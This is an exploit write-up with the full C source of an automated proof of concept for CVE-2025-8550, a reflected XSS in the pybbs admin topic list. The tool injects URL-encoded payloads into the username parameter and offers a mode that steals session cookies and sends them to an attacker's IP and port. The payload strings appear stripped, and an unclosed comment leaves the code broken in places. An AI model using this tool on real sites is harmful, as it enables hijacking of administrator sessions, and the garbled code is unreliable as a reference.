XSS in atjiu pybbs /admin/topic/list


Description

This is an automated Proof-of-Concept (PoC) exploit for CVE-2025-8550, a reflected Cross‑Site Scripting (XSS) vulnerability in atjiu pybbs (≤ v6.0.0). It targets the /admin/topic/list endpoint’s username parameter, which lacks proper input sanitization.

Author :

Byte Reaper :

Build :

    # gcc exploit.c argparse.c -o CVE-2025-8550 -lcurl -lpthread

Run Exploit :

    # ./CVE-2025-8550 -u http://[TARGET] 

    1- Verbose Mode : 
    # ./CVE-2025-8550 -u http://[TARGET]  -v

    2- Cookies FILE :
    # ./CVE-2025-8550 -u http://[TARGET] -c [FILE]

    3- IP & PORT :
    # ./CVE-2025-8550 -u http://TARGET -i [YOUR_IP] -p [YOUR_PORT]

    4- Enable cookie payload :
    # ./CVE-2025-8550 -u http://TARGET -k [PAYLOAD_COOKIE]

Exploit :

File: exploit.c — Size: 23,9 KB — Lines: 685

           
       #include <stdio.h>
       #include <curl/curl.h>
       #include <pthread.h>
       #include <string.h>
       #include <stdlib.h>
       #include "argparse.h"
       #include <time.h>
       #include <dirent.h>
       #include <unistd.h>
       #include <ctype.h>
       #include <arpa/inet.h>
       
       #define FULL_URL 3500
       #define FULL_PAYLOAD_URL 9000
       #define BUFFER_SIZE  6000
       int selCookie = 0;
       const char *cookies = NULL;
       const char *baseurl = NULL;
       const char *nameFileC= NULL;
       int cookiesPayload = 0;
       const char *ip = NULL;
       int port = 0;
       int verbose = 0;
       
       int serchServer_alt()
       {
           printf("\e[0;35m============================================ [SEARCH PROCESS] ============================================\e[0m\n");
       
           const char *nameProcess[] =
           {
               "python",
               "apache2",
               "python3",
               "mysql",
               NULL
       
           };
           DIR *d = opendir("/proc");
           if (!d) return 1;
           struct dirent *entry;
           while ((entry = readdir(d)) != NULL)
           {
               if (!isdigit(entry->d_name[0])) continue;
               char cmdpath[256];
               snprintf(cmdpath, sizeof(cmdpath), "/proc/%s/comm", entry->d_name);
               FILE *f = fopen(cmdpath, "r");
               if (!f) continue;
               char comm[256];
               if (fgets(comm, sizeof(comm), f))
               {
                   for (int i = 0; nameProcess[i]; i++)
                   {
                       if (strstr(comm, nameProcess[i]))
                       {
                           printf("\e[0;34m[+] Process found: %s (PID: %s)\e[0m\n", nameProcess[i], entry->d_name);
                           closedir(d);
                           return 0;
                       }
                   }
               }
               fclose(f);
           }
           closedir(d);
           return 1;
           printf("\e[0;35m==========================================================================================================\e[0m\n");
       }
       void exitSyscall()
       {
           __asm__ volatile
           (
               "mov $0x3C, %%rax\n\t"
               "xor %%rdi, %%rdi\n\t"
               "syscall\n\t"
               :
               :
               :"rax", "rdi"
           );
       }
       
       int checkLen(int len, char *buf, size_t bufcap)
       {
           if (len < 0 || (size_t)len >= bufcap)
           {
               printf("\e[0;31m[-] Len is Long ! \e[0m\n");
               printf("\e[0;31m[-] Len %d\e[0m\n", len);
               exitSyscall();
               return 1;
           }
           else
           {
               printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len);
               return 0;
       
           }
           return 0;
       }
       void nanoSleep(void)
       {
           struct timespec ob;
           ob.tv_sec = 0;
           ob.tv_nsec = 500 * 1000 * 1000;
       
           __asm__ volatile
           (
           "mov $230, %%rax\n\t"
           "mov $1, %%rdi\n\t"
           "xor %%rsi, %%rsi\n\t"
           "mov %0, %%rdx\n\t"
           "xor %%r10, %%r10\n\t"
           "syscall\n\t"
           :
           : "r"(&ob)
           : "rax",
             "rdi",
             "rsi",
             "rdx",
             "r10",
             "memory"
           );
       }
       /*
       const char *payloads[] =
       {  
       };
       
       const char *wordPayloadXss[] =
       
       
       struct Mem
       {
           char *buffer;
           size_t len;
       };
       size_t write_cb(void *ptr,
                       size_t size,
                       size_t nmemb,
                       void *userdata)
       {
           size_t total = size * nmemb;
           struct Mem *m = (struct Mem *)userdata;
           char *tmp = realloc(m->buffer, m->len + total + 1);
           if (tmp == NULL)
           {
               fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
               exitSyscall();
           }
           m->buffer = tmp;
           memcpy(&(m->buffer[m->len]), ptr, total);
           m->len += total;
           m->buffer[m->len] = '\0';
           return total;
       }
       
       
       void cookieSend(const char *ipServer, int portY, const char *urlCP)
       {
           CURL *curl = curl_easy_init();
           CURLcode  res;
           struct Mem responsePayload ;
           responsePayload.buffer = NULL;
           responsePayload.len = 0;
           printf("\e[0;35m================================================================ [COOKIE PAYLOAD] ================================================================\e[0m\n");
       
           if (curl == NULL)
           {
               printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
               exitSyscall();
           }
       
           if (curl)
           {
               char full[FULL_PAYLOAD_URL];
               if (!port)
               {
                   portY = 80;
                   printf("\e[0;34m[+] Default Port -> %d\e[0m\n", portY);
               }
               unsigned long format;
               format = inet_addr(ipServer);
               if (format == INADDR_NONE)
               {
                   printf("\e[0;31m[-] Invalid IP address string.\e[0m\n");
                   exitSyscall();
               }
               else
               {
                   printf("\e[0;34m[+] IP ADDRESS : %s\e[0m\n", ipServer);
               }
               char server[BUFFER_SIZE];
               if (!server)
               {
                   fprintf(stderr, "\e[0;31m[-] Error allocating memory!\e[0m\n");
                   exitSyscall();
               }
       
               int lenS = snprintf(server, BUFFER_SIZE, "", ipServer, portY);
       
               if (checkLen(lenS, server, BUFFER_SIZE) == 1)
               {
                   printf("[-] Error write base url in FULL URL !\e[0m\n");
                   exitSyscall();
               }
               printf("\e[0;34m[+] Write Your IP And Port successfully in  Payload.\e[0m\n");
               printf("\e[0;34m[+] Full Payload Format steals cookies : %s\e[0m\n", server);
               char *encodePayloadCookie = curl_easy_escape(curl, server, strlen(server));
               if (!encodePayloadCookie)
               {
                   printf("\e[0;31m[-] Error Encode Payload !\n");
                   exitSyscall();
               }
       
               printf("[+] Encode Payload : %s\n", encodePayloadCookie);
               int lenSC = snprintf(full, FULL_PAYLOAD_URL, "%s/admin/topic/list?startDate=&endDate=&username=%s", urlCP, encodePayloadCookie);
               if (checkLen(lenSC, full, FULL_PAYLOAD_URL) == 1)
               {
                   printf("\e[0;31m[-] Error write base url in FULL URL !\e[0m\n");
                   exitSyscall();
               }
               curl_easy_setopt(curl, CURLOPT_URL, full);
       
               if (selCookie)
               {
                   curl_easy_setopt(curl,
                                    CURLOPT_COOKIEFILE,
                                    cookies);
                   curl_easy_setopt(curl,
                                    CURLOPT_COOKIEJAR,
                                    cookies);
       
               }
               curl_easy_setopt(curl,
                                CURLOPT_ACCEPT_ENCODING,
                                "");
               curl_easy_setopt(curl,
                                CURLOPT_FOLLOWLOCATION,
                                1L);
               curl_easy_setopt(curl,
                                CURLOPT_WRITEFUNCTION,
                                write_cb);
               curl_easy_setopt(curl,
                                CURLOPT_WRITEDATA,
                                &responsePayload);
               curl_easy_setopt(curl,
                                CURLOPT_CONNECTTIMEOUT,
                                5L);
               nanoSleep();
               curl_easy_setopt(curl,
                                CURLOPT_TIMEOUT,
                                10L);
               curl_easy_setopt(curl,
                                CURLOPT_SSL_VERIFYPEER,
                                0L);
               curl_easy_setopt(curl,
                                CURLOPT_SSL_VERIFYHOST,
                                0L);
               if (verbose)
               {
                   printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
                   curl_easy_setopt(curl,
                                    CURLOPT_VERBOSE,
                                    1L);
               }
               struct curl_slist *h = NULL;
               h = curl_slist_append(h,
                                     "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
               h = curl_slist_append(h,
                                     "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
               h = curl_slist_append(h,
                                     "Accept-Encoding: gzip, deflate, br");
               h = curl_slist_append(h,
                                     "Accept-Language: en-US,en;q=0.5");
               h = curl_slist_append(h,
                                     "Connection: keep-alive");
               h = curl_slist_append(h,
                                     "Upgrade-Insecure-Requests: 1");
               h = curl_slist_append(h,
                                     "Cache-Control: max-age=0");
               curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);
               res = curl_easy_perform(curl);
               curl_slist_free_all(h);
               curl_free(encodePayloadCookie);
               if (res == CURLE_OK)
               {
                   long httpCode = 0;
                   curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
                                     &httpCode);
                   printf("\e[1;36m[+] Request sent successfully\e[0m\n");
                   printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode);
                   if (httpCode >= 200 && httpCode < 300)
                   {
                       printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n",
                              httpCode);
                       printf("\e[0;36m[+] Payload Injection successfully.\e[0m\n");
                       printf("\e[0;36m[+] Please Check Your Server.\e[0m\n");
                   }
                   else
                   {
                       printf("[-] Payload Injection Failed !\e[0m\n");
                       printf("[-] http Code Not Range (%ld)\e[0m\n", httpCode);
                   }
               }
               else
               {
                   printf("\e[1;31m[-] The request was not sent !\e[0m\n");
                   printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
                   exitSyscall();
       
               }
       
           }
           curl_easy_cleanup(curl);
           if (responsePayload.buffer)
           {
               free(responsePayload.buffer);
               responsePayload.buffer = NULL;
               responsePayload.len = 0;
           }
           printf("\e[0;35m==================================================================================================================================================\e[0m\n");
       }
       
       
       int sendRequest(const char *url)
       {
           char full[FULL_URL];
           struct Mem response;
           CURL *curl = curl_easy_init();
           if (curl == NULL || !curl)
           {
               printf("\e[0;31m[-] Error Create Objetc CURL !\e[0m\n");
               exitSyscall();
           }
           CURLcode res;
       
           response.buffer= NULL;
           response.len = 0;
           if (response.buffer == NULL && response.len == 0)
           {
               printf("\e[0;33m[+] Clean Response Buffer successfully.\e[0m\n");
               printf("\e[0;33m[+] Response Buffer -> NULL\e[0m\n");
               printf("\e[0;33m[+] Response Len    -> 0\e[0m\n");
           }
           else
           {
               printf("\e[0;31m[-] Cleaning Buffer and len did not work !\e[0m\n");
           }
       
           int finish = 0;
           for (int p = 0 ; payloads[p] != NULL; p++)
           {
               char *encodePayload = curl_easy_escape(curl, payloads[p], strlen(payloads[p]));
               if (encodePayload == NULL || !encodePayload)
               {
                   printf("\e[0;31m[-] Error Encode Payload !\n");
                   exitSyscall();
               }
               printf("\e[0;34m[+] Encode Payload successfully.\e[0m\n");
               printf("\e[0;34m[+] Original Payload : %s\e[0m\n", payloads[p]);
               printf("\e[0;34m[+] Encode Payload : %s\e[0m\n", encodePayload);
       
               int len = snprintf(full, sizeof(full), "%s/admin/topic/list?startDate=&endDate=&username=%s", url, encodePayload);
               if (checkLen(len, full, sizeof(full)) == 1)
               {
                   printf("\e[0;31m[-] Error write base url in FULL URL !\e[0m\n");
                   printf("\e[0;31m[-] LEN FULL URL : %d\e[0m\n", len);
                   exitSyscall();
               }
               printf("[+] FULL URL : %s\n", full);
               curl_easy_setopt(curl, CURLOPT_URL, full);
       
               if (selCookie)
               {
                   curl_easy_setopt(curl,
                                    CURLOPT_COOKIEFILE,
                                    cookies);
                   curl_easy_setopt(curl,
                                    CURLOPT_COOKIEJAR,
                                    cookies);
       
               }
               curl_easy_setopt(curl,
                                CURLOPT_ACCEPT_ENCODING,
                                "");
               curl_easy_setopt(curl,
                                CURLOPT_FOLLOWLOCATION,
                                1L);
               curl_easy_setopt(curl,
                                CURLOPT_WRITEFUNCTION,
                                write_cb);
               curl_easy_setopt(curl,
                                CURLOPT_WRITEDATA,
                                &response);
               curl_easy_setopt(curl,
                                CURLOPT_CONNECTTIMEOUT,
                                5L);
               nanoSleep();
               curl_easy_setopt(curl,
                                CURLOPT_TIMEOUT,
                                10L);
               curl_easy_setopt(curl,
                                CURLOPT_SSL_VERIFYPEER,
                                0L);
               curl_easy_setopt(curl,
                                CURLOPT_SSL_VERIFYHOST,
                                0L);
               if (verbose)
               {
                   printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
                   curl_easy_setopt(curl,
                                    CURLOPT_VERBOSE,
                                    1L);
               }
               struct curl_slist *h = NULL;
               h = curl_slist_append(h,
                                     "Accept: text/html");
               h = curl_slist_append(h,
                                     "Accept-Encoding: gzip, deflate, br");
               h = curl_slist_append(h,
                                     "Accept-Language: en-US,en;q=0.5");
               h = curl_slist_append(h,
                                     "Connection: keep-alive");
               curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);
               char referer[3500];
               int refLen = snprintf(referer, sizeof(referer), "Referer: %s", full);
               if (checkLen(refLen, referer, sizeof(referer)) == 1)
               {
                   printf("\e[0;31m[-] Error write Header Referer Content !\e[0m\n");
                   printf("\e[0;31m[-] Default Header Referer : http://exemple.com\e[0m\n");
                   h = curl_slist_append(h,
                                         "Referer : http://exemple.com");
                   exitSyscall();
               }
               else
               {
                   printf("\e[0;34m[+] Write Header Referer Content successfully.\e[0m\n");
                   printf("\e[0;34m[+] Header Referer : %s\e[0m\n", referer);
                   h = curl_slist_append(h,
                                         referer);
               }
       
               curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);
               res = curl_easy_perform(curl);
               curl_slist_free_all(h);
               curl_free(encodePayload);
               if (res == CURLE_OK)
               {
                   long httpCode = 0;
                   curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
                                     &httpCode);
                   printf("\e[0;37m--------------------------------------------------------------------------------------------------------\e[0m\n");
                   printf("\e[1;36m[+] Request sent successfully\e[0m\n");
                   printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode);
                   if (httpCode >= 200 && httpCode < 300)
                   {
                       printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n",
                              httpCode);
                       if (verbose)
                       {
                           if (response.buffer)
                           {
                               printf("\e[1;37m\n======================================== [Response ] ========================================\e[0m\n");
                               printf("%s\n", response.buffer);
                               printf("\e[1;32m[Len] : %zu\e[0m\n", response.len);
                               printf("\e[1;37m\n=============================================================================================\e[0m\n");
                           }
                       }
                       for (int w = 0; wordPayloadXss[w] != NULL; w++)
                       {
                           if (strstr(response.buffer, wordPayloadXss[w]) != NULL)
                           {
                               printf("\e[0;36m[+] Word Found in Response : %s\n", wordPayloadXss[w]);
                               if (response.buffer)
                               {
                                   printf("\e[1;35m==================================== [WORD FOUND RESPONSE] ====================================\e[0m\n");
                                   printf("%s\n", response.buffer);
                                   printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len);
                                   printf("\e[1;35m===============================================================================================\e[0m\n\n");
       
                               }
                               else
                               {
                                       printf("[-] Response Is NULL, Exit ...\n");
                                       exitSyscall();
                               }
                           }
                           else
                           {
                               if (verbose)
                               {
                                   printf("\e[0;31m[-] Word Not Found In Response %s\e[0m\n", wordPayloadXss[w]);
                               }
                               if (wordPayloadXss[w] == NULL)
                               {
                                   printf("\e[0;31m[-] Not Found Word In Response !\e[0m\n");
                                   finish = 1;
       
                               }
                           }
                       }
       
       
                   }
                   else
                   {
                       printf("\e[0;31m[-] Negative response code  (%ld)!\e[0m\n", httpCode);
                   }
       
       
               }
               else
               {
                   printf("\e[1;31m[-] The request was not sent !\e[0m\n");
                   printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
                   exitSyscall();
       
               }
       
           }
           curl_easy_cleanup(curl);
           if (response.buffer)
           {
               free(response.buffer);
               response.buffer = NULL;
               response.len = 0;
           }
           return finish;
       
       
       }
       void *thread_routine(void *arg)
       {
           int finish = sendRequest((const char *)arg);
           return (void *)(intptr_t)finish;
       }
       void runThread(const char *urlT)
       {
           int valeuF = sendRequest(urlT);
           pthread_t  thread;
           for (int u = 0; valeuF == 1; u++)
           {
       
               if (valeuF == 1)
               {
                   pthread_exit(NULL);
               }
               if (pthread_create(&thread, NULL, thread_routine, (void *)urlT) == 0)
               {
                  printf("\e[0;32m[+] Pthread Create successfully.\e[0m\n");
               }
               else
               {
                   printf("\e[0;31m[-] Pthread Create Faild !\e[0m\n");
               }
               sleep(2);
               printf("\e[0;32m[+] Sleep 2 s...\n");
               pthread_cancel(thread);
               if (pthread_join(thread, NULL) == 0)
               {
                   printf("\e[0;32m[+] Pthread Join successfully.\e[0m\n");
               }
               else
               {
                   if (verbose)
                   {
                      printf("\e[0;31m[-] Pthread Join Faild !\e[0m\n");
                   }
               }
            }
       }
       int main(int argc, const char **argv)
       {
           printf(
               "\e[0;31m"
               "░██████  ░██    ░██ ░██████████          ░██████    ░████    ░██████  ░████████          ░██████  ░████████ ░████████   ░████       \n"
               "░██   ░██ ░██    ░██ ░██                 ░██   ░██  ░██ ░██  ░██   ░██ ░██               ░██   ░██ ░██       ░██        ░██ ░██     \n"
               "░██        ░██    ░██ ░██                       ░██ ░██ ░████       ░██ ░███████          ░██   ░██ ░███████  ░███████  ░██ ░████   \n"
               "░██        ░██    ░██ ░█████████  ░██████   ░█████  ░██░██░██   ░█████        ░██ ░██████  ░██████        ░██       ░██ ░██░██░██   \n"
               "░██         ░██  ░██  ░██                  ░██      ░████ ░██  ░██      ░██   ░██         ░██   ░██ ░██   ░██ ░██   ░██ ░████ ░██   \n"
               "░██   ░██   ░██░██   ░██                 ░██        ░██ ░██  ░██       ░██   ░██         ░██   ░██ ░██   ░██ ░██   ░██  ░██ ░██     \n"
               "░██████     ░███    ░██████████         ░████████   ░████   ░████████  ░██████           ░██████   ░██████   ░██████    ░████       \n"
                                  "\e[0;37m\t\t\t\t\t\t\t\t\t\t\t\t\t\tByte Reaper\e[0m\n"
           );
           printf("\e[0;31m---------------------------------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
           curl_global_init(CURL_GLOBAL_DEFAULT);
       
           struct argparse_option options[] =
           {
               OPT_HELP(),
                      OPT_STRING('u',
                                 "url",
                                 &baseurl,
                                 "Enter Target Url (http://)"),
                      OPT_STRING('c',
                                 "cookies",
                                 &nameFileC,
                                 "Enter File cookies"),
                   OPT_BOOLEAN('k',
                               "cokpay",
                               &cookiesPayload,
                               "Arg For Send Request steals cookies (-k (NULL))"),
               OPT_STRING('i',
                          "ip",
                          &ip,
                          "Enter Your Ip Server"),
               OPT_INTEGER('p',
                           "port",
                           &port,
                           "Enter Port Server"),
               OPT_BOOLEAN('v',
                           "verbose",
                           &verbose,
                           "Verbose Mode"),
                           OPT_END(),
           };
           struct argparse argparse;
           argparse_init(&argparse,
                         options,
                         NULL,
                         0);
       
           argparse_parse(&argparse,
                          argc,
                          argv);
           serchServer_alt();
           if (!baseurl)
           {
               printf("\e[1;31m[-] Please Enter target Url !\e[0m\n");
               printf("\e[1;31m[-] Example : ./CVE-2025-8550 -u http://\e[0m\n");
               exitSyscall();
           }
           if (nameFileC)
           {
               selCookie = 1;
           }
           if (verbose)
           {
               verbose = 1;
           }
           if (cookieSend && ip && port)
           {
               cookieSend(ip, port, baseurl);
           }
           else
           {
               printf("[-] Please Enter Ip And Port !\e[0m\n");
           }
           runThread(baseurl);
           curl_global_cleanup();
           return 0;
       
       }
    
Download
  • NVD : link
  • CVE : link